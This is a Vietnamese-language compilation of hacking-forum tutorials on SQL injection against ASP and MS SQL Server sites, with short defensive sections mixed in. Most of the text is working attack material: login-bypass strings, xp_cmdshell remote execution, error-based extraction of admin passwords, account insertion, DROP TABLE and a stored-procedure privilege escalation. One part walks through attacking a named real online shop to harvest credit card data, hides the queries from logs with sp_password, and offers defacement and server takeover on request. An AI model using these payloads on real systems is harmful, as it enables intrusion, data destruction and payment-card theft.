Tổng hợp SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

PHẦN 1:
SQL Injection là gì? SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ... 2) Tìm kiếm mục tiêu Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ... http://vịtcon/index.asp?id=10 Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ. <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> 3) Kiểm tra chử yếu của trang web Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1-- Login: hi' or 1=1-- Pass: hi' or 1=1-- http://vịtcon/index.asp?id=hi' or 1=1-Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ: <FORM action=http://vịtcon/Search/search.asp method=post> <input type=hidden name=A value="hi' or 1=1--"> </FORM> Nếu thành công, bạn có thể login vào mà không cần phải biết username và password 4) Tại sao ' or 1=1-- có thể bypass login? Giả sử như có một trang asp link đến một asp trang khác với URL như sau: http://vịtcon/index.asp?category=food Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là: SELECT * FROM product WHERE PCategory='food' Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food' Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là: SELECT * FROM product WHERE PCategory='food' or 1=1--' Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là: SELECT * FROM product WHERE PCategory='food' or 'a'='a' Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lửi hay không: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a 5) Thi hành lệnh từ xa bằng SQL Injection Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa: '; exec master..xp_cmdshell 'ping 10.10.1.2'-Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc. Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau: #tcpdump icmp Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành. 6) Nhận output của SQL query Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" folder "share" phải được share cho Everyone trước. 7) Nhận data qua 'database using ODBC error message' Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mửi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là: SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLESDòng query này sẽ trả về tên của table đầu tiên trong CSDL Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lửi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lửi sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5 Thông báo lửi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có. Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-Bạn cũng có thể search data bằng từ khóa LIKE: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Se rver]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5 Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login". 8) Xác định tên của các column trong table Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 9) Thu thập các dữ liệu quan trọng Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này. Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5 Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-Output:
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5 Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix". 10) Nhận các numeric string Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5 Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173' 11) Update/insert data vào CSDL Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này. Để thay đổi password của "neo", bạn có thể làm như sau: http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-Hoặc nếu bạn muốn chèn một record mới vào table: http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5" 12) Ngăn chặn SQL Injection Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ: - input do người dùng đệ trình - các tham số từ URL - các giá trị từ cookie Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security. Xóa các stored procedure mà bạn không dùng như: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

PHẦN 2:
tôi biết chắc rằng các bạn ở đây đa số chỉ biết SQL injection bypass login, hôm nay tớ xin mạn phép trình bày những kỹ thuật mà ta có thể làm nhiều điều hơn là chỉ vượt qua password của một trang bị SQL injection. Lưu ý : Đa số kiến thức của tôi dưới đây chỉ dùng cho server chạy MySQL, MSSQL, còn những cái khác thì không chắc.... Nếu bạn chưa biết lệnh SQL thì không nên đọc bài này mà nên tham khảo nó trước, OKie ??? Tôi không muốn thấy những câu trả lời đại loại như --- "Tui chẳng hiểu gì hết ", "Sài ở đâu thế" ,.....
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------1)Lấy tên table và column hiện hành: Structure : Login page (or any injection page):::: username: ' having 1=1-KQ: ------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. -----------------------------------------> Ta có được TABLE VICTIM Tiếp tục username: ' group by VICTIM.ID having 1=1-KQ :--------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.Vuser' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. ------------------------------------------Vậy là ta có column Vuser UNION nhỏ mà hiệu quả Vâng thưa các bạn, ta có thể dùng nó để lấy được gần như mọi thứ . Trước hết tôi xin nói sơ qua cái Structure của nó : Login page :::: username : ' Union select [column] from [table] where [column2=...]-password : everything Vd: Giả sử ta đã biết 2 column username và password trong table VTABLE cua db victim là VUSER và VPASS thì ta làm như sau username : ' Union select VPASS from VTABLE where VUSER='admin'-- (1) password : everything (1) : Trong trường hợp này admin là một user mà bạn biết nếu không có thể bỏ trống, nó sẽ cho bạn user đầu tiên KQ:----------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. --------------------------------Nếu KQ ra như trên có nghĩa là bạn phải union thêm nhiều column nữa để tất cả column của table VTABLE được Union hết. Structure của nó như sau: username : ' Union select VPASS,1,1,1...1,1 from VTABLE where VUSER='admin'-- (1) password : everything Bạn hãy thêm ",1" cho đến khi kết quả ra đại loại như -------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'tuibihackroi' to a column of data type int. -------------------------------Như vậy Pass của user 'admin' là 'tuibihackroi' Phần II: Vâng thưa các bạn SQL injection thật thú vị, và đây là điều ta có thể làm trong bài viết hôm nay của tôi : Lấy sạch database của đối phương. 1) Lấy hết value của một column đã biết trong một table đã biết Bí quyết ở đây là “Not in” Structure của nó như sau (sử dụng ví dụ với column của bài trước): Với Vuser là admin ta có thể lấy được các user khác -----Login Page :::::: username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’)— ------------------------Vâng, sau đó chúng ta sẽ thu được thêm một user nữa và chỉ việc chèn vào trong Not in ( vd: Not in (‘admin’,’hacker’,….)) cứ
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------làm tiếp tục như thế ta sẽ có hết mọi user(dĩ nhiên sau đó là mọi password). **** Ðể lấy danh sách tên các user theo một quy định mà bạn chọn , ví dụ chi lấy các user có chứa từ admin chẳng hạn ta dùng “like” : cấu trúc -----Login Page :::::: username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’) like %admin%— ------------------------2) Lấy hết table và column của của database: Bí quyết chính là table này của database : INFORMATION_SCHEMA.TABLES với column TABLE_NAME (chứa toàn bộ table) và table : INFORMATION_SCHEMA.COLUMNS với column COLUMN_NAME (chứa toàn bộ column) Cách sử dụng dùng Union: -----Login page ::::::: username: ‘ UNION SELECT TABLE_NAME,1,1,1…,1 FROM INFORMATION_SCHEMA.TABLES WHERE ……. --------------------------Như vậy ta có thể lấy được hết table, sau khi có table ta lấy hết column của table đó : -----Login page ::::::: username: ‘ UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’… ’ and …… --------------------------Trên đây là những điều căn bản nhất về SQl injection mà tôi có thể cung cấp cho các bạn, còn làm được tốt hay không thì phải có một chút sáng tạo nữa hy vọng nó giúp ích cho các bạn một chút khi gặp một site bị SQl injection Phần III: 1) Không cần UNION: Nếu các bạn ngại dùng Union vì những bất tiện của nó thì các bạn có thể dùng "Convert" một cách dẽ dàng hơn để thu thập info qua các thông báo lỗi Structure : ---login page:::: user : ' + convert (int,(select @@version))-------------------------Trên là một ví dụ để bạn lấy version, giờ đây muốn lấy bất cứ info nào bạn chỉ cần thay vào cái "select @@version" nhưng nhớ nếu là lần đầu tiên get info thì thêm TOP 1 vào nhé vd: user : ' + convert (int,(select Vpass from Vtable where Vuser='admin'))-Lưu ý : Nếu các bạn sử dụng không được thì có thể vì dấu + không được chấp nhận, lúc đó hãy thay nó === %2b vd: user : ' %2b convert (int,(select Vpass from Vtable where Vuser='admin'))-2) Run command SQL : Đề run command bạn có thể dùng dấu ";" Structure : login page ::::: user :' ; [command]-----------------------------vd: '; DROP TABLE VTABLE— ----------------------------------------------------------------------------------------------------------------------------------------------

Chống tấn công kiểu SQL Injection
Xin lỗi anh em,bài này mình chưa chuyển qua Tv có dấu,mình sẽ cố gắng sửa nó.Anh em đọc tạm vậy SQL Injection la gi ? Viec thiet ke va dua website vao hoat dong luon doi hoi cac nha phat trien phai quan tam den van de va an toan, bao mat nham giam thieu toi da kha nang bi hacker tan cong. Thuong cac nha phat trien tap trung vao cac van de an toan cua he dieu hanh, he quan tri CSAL, webserver…chang han nhu hong bao mat tren IIS. Tuy nhien, co mot nguy co tiem an it duoc quan
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------tam do la cac doan ma cua ung dung, mot trong so do la tan cong bang SQL injection. SQL Injection la mot ki thuat cho phap nhung ke tan cong thi hanh cac cau lenh truy van SQL bat hop phap bang cac loi dung lo hong trong viec kiem tra de lieu nhau tu cac ung dung web..hau qua nay rat tai hai vi no cho phap ke tan cong co toan quyen , hieu chinh..tren co so du lieu cua ung dung, loi nay thuong xay ra tren cac ung dung web co du lieu duoc quan li bang cac he quan tri CSDL nhu SQL server, Oracle, DB2, Sysbase. Xet mot vi du dien hinh, thong thuong de cho phet nguoi dung truy cap vao cac trang web duoc bao mat..he thong thuong xay dung trang dang nhap de yeu cau nguoi dung nhap thong tin ve ten dang nhap va password. Sau khi nguoi dung nhap thong tin vao, he thong se kiem tra ten dang nhap va mat khau co hop le huy khong de quyet dinh cho phep hay tu choi thuc hien tren. Trong truong hop nay, nguoi ta co the dung 2 trang, mot trang HTML de hien thi Form nhap lieu va mot trang ASP dung de xu li thong tin nhap tu phia nguoi dung. Vd : Login.htm <form action=”Execlogin.asp”method=”post”> username : <input type=”text” name= “ txtusername”><br> password : <input type =”password” name=txtpassword”><br> <input type = “submit”> </form> ExecLogin.asp <% Dim p_strausername, p_strPassword, objRS, serSQL P_serUsername = Request, Form ( “txtusername”) P_serPassword = Request.Form(“txtPassword”) serSQL = “SELECT * FORM tblUsers “ & _”WHERE Username=’ “ & _strUsername & _ “` and Password=’ “ & p-strPassword & “ ` “ Set objRS = Server.CreateObject ( “ADODB.Recordset”) objRS.open strSQL, “DSN=…” if (objRS.EOF) Then Response.write “invalid login.” Else Response.write “ you are logged in as “ & objRS (“Username”) End If Set objRS = Nothing %> thoat nhin, doan ma trong trang ExecLogin.asp duong nhu khong chua bat cu ,pt lo hong bao mat nao,. Nguoi dung khong the dang nhap ma khong co ten dang nhap va mat khau hop le. Tuy nhien, doan ma nay thus su khong an toan va la tien de cho tan cong SQL Injection. Dat biet, so ho nam o cho du lieu nguoi dung nhap vao duoc nam o cho du lieu nguoi dung nhap vao duoc dung de xay dung truc tiep cau lenh truy van SQL ..chinh dieu nay cho phep nung ke tan cong co the dieu khine duoc cau truy van se duoc thuc hien. Vi du, neu nguoi dung nhap chuoi sau vao trong ca 2 o nhap lieu username/passowrd cua trang login.htm “ ‘ or”=’. Luc nay, cau truy van se duoc goi thuc hien la : SELECT * FORM tblUsers WHERE Username=’ ‘ or ``=’’ and Password = `’or`’=`’ Cau truy van nay la hop le va se tra ve tat ca cac ban ghi cua tblUsers, va doan ma tiep theo su li nguoi dung dang nhap bat hop phap nay nhu la nguoi dung dang nhap hop le. Mot vi du khac cua tan cong SQL Injection nua la khi cac trang web su dung du lieu nhap vao theo dang querystring ( bang cach go cap tham so va gia tri truc tiep trang thanh dia chi hoac dung form voi thuc tinh ACCTION La GET . vi du sau minh hoa mot trang ASP nhan du lieu cho bien ID thong qua querystring va phat sinh noi dung cua trang do dua tren ID : <% Dim P-lngID, objRS, StrSQL P_lngID = Request ( “ID”) strSQL = “SELECT * FORM tblArticles WHERE ID=” & p_lngID Set objRS = Server.CreateObject(“ADODB.Recordeset”) ObjRS.Open strSQL, “DSN=…” If ( Not objRS.EOF) then Response.Write ObjRS(“ArticleContent”) Set ObjRS = Nothing %> trong cac tinh huong thong thuong, doan ma nay hien thi noi dung cua Aricle co ID trung voi ID duoc chuyen den cho no duoi
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------dang querystring. Vi du, trang nay co the duoc goi nhu sau : http://www.examlpe.com/Article.asp?ID=1055, de hien thi noi dung cua article co ID la 1055 giong nhu vi du dang nhap o tren. Doan ma nay de lo so ho cho kha nang tan cong SQL Injection, ke tan cong co the thay the mot ID hop la bang cach gan ID cho mot gia tri khac, de thuc hien mot lenh SQL bat hop phap, vi du nhu : 0 or 1=1 cau truy van SQL luc nay se tra ve tat ca cac article tu bang du lieu vi no se thuc hien cau lenh : SELCT * FORM tblArticles WHERE ID=0 or 1=1 Tat nhien vi du nay duong nhu khong co gi nguy hiem nhung hay thu tuong tuong ke tan cong co the xoa toan bo CSDL bang cach chen vao cac doan lenh nguy hiem nhun lenh DELETE. Tat ca chi chi la don gian thay doi chuoi gan du lieu cho ID, vi du nhu : http://examlpe.com/Article.asp?ID=1055; DELETE FORM tblArticles. Tac hai va cach phong chong : Tac hai cua dang tan cong SQL Injection tuy thuoc vao moi truong va cach cau hinh he thong. Neu ung dung su dung quyen dbo ( Quyen cua nguoi so huu CSDL ) khi thao tac du lieu. No co the xua toan bo cac bang du lieu. Tao cac bang du lieu moi…neu ung dung su dung quyen sa ( quyan quan tri he thong ). No co the dieu khien toan bo he CSDL va tham chi co the tao ra cac tai khoan nguoi dung bat hop phap de dieu khien he thong cua ban. De phong tranh cac nguy co co the xay ra, hay bao ve cac cau truy van SQl bang cach kiem soat chan che tat ca cac du lieu nhap nhan duoc tu doi tuong Request ( Request, Request.QuuryString, Request.Form, Request.Cookies, va Request.Server Variables ) Trong truong hop du lieu nhap vao la chuoi, nhu trong vi du 1 , loi xuat phat tu viec co dau nhay don trong du lieu. De tranh dieu nay, thay the cac dau nhay don bang ham Replace de thay the bang 2 dau nhay don : P_strUsername = Replace(Request.Form(“txtUsrname”) , “ ` “, “`’” ) P_srtpassword = Replace(Request.Form(“txtPassword”) , “ ` “, “`’” ) Trong truong hop du lieu nhap vao la so, nhu trong di du 2 , loi xuat phat tu viec thay the mot gia tri duoc tien doan la du lieu so bang chuoi chua cau lenh SQL Injection bat hop phap. De tranh dieu nay, don gian la kiem tra du lieu co dung kieu nay hay khong : P_IngID = CLng (Request (“ID”)) Nhu vay, neu nguoi dung truyen vao mot chuoi, ham nay se tra ve loi ngay lap tuc. Ngoai ra de tranh cac nguy co tu tan cong SQL Injection, nen chu y loai bo bat ki thong tin ki thuat nao chua trong thong diep chuyen toi cho nguoi dung khi ung dung co loi. Cac thong bao loi thong thuong tiet lo cac chi tiet ki thuat co the cho phep ke tan cong biet duoc dieu yeu cua he thong. Cuoi cung. De han che thiet hai do tan cong SQL Injection, nen kiem soat chat che va giai han queyn xu li du lieu cua tai khoan nguoi dung ma dung dung web dang su dung. Cac dung dung thuong nen tranh dung cac quyen nhu dbo hay sa. Quyen cang han che, thiet hai thi se cach it thoi.

PHẦN 3: PHÁT HIỆN LỖI SQL-INJECTION
http://www.company.com/product/price.asp?id=1 select price from product where id=1 http://www.company.com/product/price.asp?id=1’ select price from product where id=1’ Unclosed quotation mark before the character string ‘ http://www.company.com/product/price.asp?id=[...] KĨ THUẬT CONVERT-MAGIC http://wwww.company.com/product/price.asp?id=1 and 1=convert(int,@@version) --sp_password select price from product where id=1 and 1=convert(int,@@version)--sp_password Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 23 1998 21:08:09 Copyright © 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3)' to a column of data type int. 'sp_password' was found in the text of this event.-- The text has been replaced with this comment for security reasons. • @@servername, db_name(), system_user, ... •‘“() LỖI CROSS-DATABASE CỦA MS-SQL use testdatabase
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------create proc dbo.test as select * from master.dbo.sysxlogins go exec test select * from master.dbo.sysxlogins • sa == dbo • db_owner có thể create & design các object của dbo • SID của proc dbo.test == SID của master.dbo.sysxlogins LỖI INJECTION CỦA MASTER..SP_MSDROPRETRY CREATE PROCEDURE sp_MSdropretry (@tname sysname, @pname sysname) as declare @retcode int /* ** To public */ exec ('drop table ' + @tname) if @@ERROR <> 0 return(1) exec ('drop procedure ' + @pname) if @@ERROR <> 0 return(1) return (0) NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRY exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test‘ drop table xx update sysusers set sid=0x01 where name='dbo' drop procedure xx drop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx • guest == db_owner của database master -----------------------------------------------------------------------------------------------------------------------------------------

Hack shop qua lỗi SQL server injection
gioi thieu so qua cho anh em biet ve hack sql server inject ha ! hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the thuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi value=hidden),vi the truoc tien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cach nao`. o day chi gioi thieu cach convert dung` de lay thong bao loi thoi,neu may bac' can hack ca server thi noi nhieu,noi dai dong lam... Detail: search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anh em thuong dung nhu www.google.com hoac www.froogle.google.com www.av.com www.alltheweb.com yahoo.com ...... ok----search for: allinurl: "/shop/viewproduct.asp" hoac may bac co the search = tu key word allinurl: "/shop/index.asp" (nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ra tat rat nhieu site,ma ko phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoac JET, hoac VB.net....net va de nay can phai co su no luc cua anh em trong viec test. ok co' duoc muc tieu roi chon dai 1 thang,vd: http://www.mcmessentials.com.au/ okay co muc tieu roi bat dau test no ha http://www.mcmessentials.com.au/shop/viewp...tegoryid=5' neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sau Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''./shop/include/viewproduct.asp, line 3
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet. ok bat dau tim table co the test theo cac cach sau ma em da biet ;having 1=1--sp_password'having 1=1--sp_password"having 1=1--sp_password(having 1=1--sp_password)having 1=1-sp_password(space)having 1=1--_sp_password (%20 la space la khoang trang day) thuong thi test = cau truy van (space)having 1=1--sp_password la duoc duyet qua ok *luu y' cac anh em 1 dieu rat can thiet 1--%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co --sp_password de marks log tranh bi phat hien http://www.mcmessentials.com.au/shop...1--sp_password ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories bay gio di lay user_name cua shop thong qua cau truy van sau %2bconvert(int,user_name())--sp_password Báo lỗi Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'braunshop' to a column of data type int./shop/include/viewproduct.asp, line 3 'braunshop' la truong user_name cua shop *luu y 2--truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko can quyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noi den chuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai nghiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thang nao,muon deface,lay pass,lay root,lay server,host thi lien he voi toi ok bay gio ta se lan luot lay cac table tren column label lay table thu 1 thong qua cau truy van sau %2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables))--sp_passwordBáo lỗi: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'categorieslist' to a column of data type int./shop/include/viewproduct.asp, line 3 ok table 1 la 'categorieslist',muon lay table thu 2 thi phai dung den where table_name not in('table1') cau truy van nhu sau: %2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%20table_nam e%20not%20in('categorieslist')))--sp_passwordMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'allorders' to a column of data type int./shop/include/viewproduct.asp, line 3 table 2 la` 'allorders' muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2 vay%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables%20where%20table_ name%20not%20in('categorieslist','allorders')))--sp_password day la tat ca cac table cua shop vua lay duoc ok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co 2 kieu lay column,1 la lay tat ca cac column,ko co muc dich gi hoac de kiem tra toan bo database,2 la` ta da xac dinh duoc can phai lay column trong table nao,sau do moi lay,toi thi chi lay column trong table nao co cc thoi,'allorders' hoac 'orders' ok ta lay no thoi cau truy van lay column dau tien la` 1---lay column tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi thoi,cau truy van co dang %2bconvert(int,(select top 1 column_name from information_schema.columns))--sp_password Microsoft OLE DB Provider for ODBC Drivers 